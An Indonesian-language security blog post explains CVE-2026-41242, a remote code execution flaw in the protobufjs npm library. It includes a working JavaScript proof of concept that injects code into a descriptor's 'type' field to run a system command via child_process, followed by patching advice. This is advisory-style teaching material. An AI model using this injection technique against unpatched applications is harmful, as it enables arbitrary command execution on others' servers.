CVE-2026-41242 Remote Code Execution via Protobufjs

Halo semua, Kembali lagi di Hight Hack. Hari ini kita akan membedah celah keamanan yang cukup segar, baru saja dirilis 5 hari yang lalu: CVE-2026-41242. Celah ini tergolong Critical karena memungkinkan penyerang melakukan Remote Code Execution (RCE) melalui paket npm populer protobufjs.

CVE-2026-41242 Remote Code Execution via Protobufjs


Protobufjs adalah library JavaScript yang digunakan untuk mengompilasi definisi Protocol Buffers (.proto) menjadi fungsi JavaScript agar data bisa didekode dengan cepat. Masalah muncul ketika library ini "terlalu percaya" pada input di dalam definisi struktur datanya, khususnya pada field "type".

Detail Vulnerability

Penyerang dapat menyuntikkan kode JavaScript arbitrer ke dalam field "type" pada definisi protobuf. Saat aplikasi melakukan proses decoding menggunakan definisi yang sudah dimanipulasi tersebut, kode berbahaya akan ikut tereksekusi oleh mesin Node.js (CWE-94).

  • CVE ID: CVE-2026-41242
  • Severity: Critical (9.0 - 10.0)
  • Affected: protobufjs >= 8.0.0 < 8.0.1 dan < 7.5.5

Proof of Concept (PoC)

Berikut adalah contoh bagaimana payload disisipkan dalam deskriptor JSON untuk memicu eksekusi perintah sistem (RCE):

const protobuf = require('protobufjs');
const maliciousDescriptor = JSON.parse(`{
  "nested": {
    "User": {
      "fields": {
        "id": { "type": "int32", "id": 1 },
        "data": { 
            "type": "Data(){console.log(process.mainModule.require('child_process').execSync('id').toString())};\\nfunction X", 
            "id": 2 
        }
      }
    }
  }
}`);
const root = protobuf.Root.fromJSON(maliciousDescriptor);
const UserType = root.lookupType("User");
UserType.decode(Buffer.from([0x08, 0x01, 0x12, 0x07]));
    

Dalam payload di atas, saya menyuntikkan fungsi anonymous yang memanggil child_process untuk menjalankan perintah id. Begitu metode decode() dipanggil, sistem akan mengeksekusi perintah tersebut secara otomatis.

Langkah Mitigasi

Untuk mengamankan aplikasi anda dari serangan ini, segera lakukan langkah-langkah berikut:

  • Update library protobufjs ke versi 8.0.1 atau 7.5.5.
  • Pastikan file definisi .proto atau JSON tidak dapat diubah oleh user yang tidak terautentikasi.
  • Gunakan alat pemantau dependensi seperti Dependabot atau Snyk.

Penutup

Dengan adanya temuan CVE-2026-41242 ini, kita belajar bahwa validasi input tidak hanya terbatas pada form user, tetapi juga pada file konfigurasi dan skema data yang diproses oleh library pihak ketiga. Selalu perbarui dependensi project kalian secara berkala.

Kritik dan Saran

Lebih baru Lebih lama

نموذج الاتصال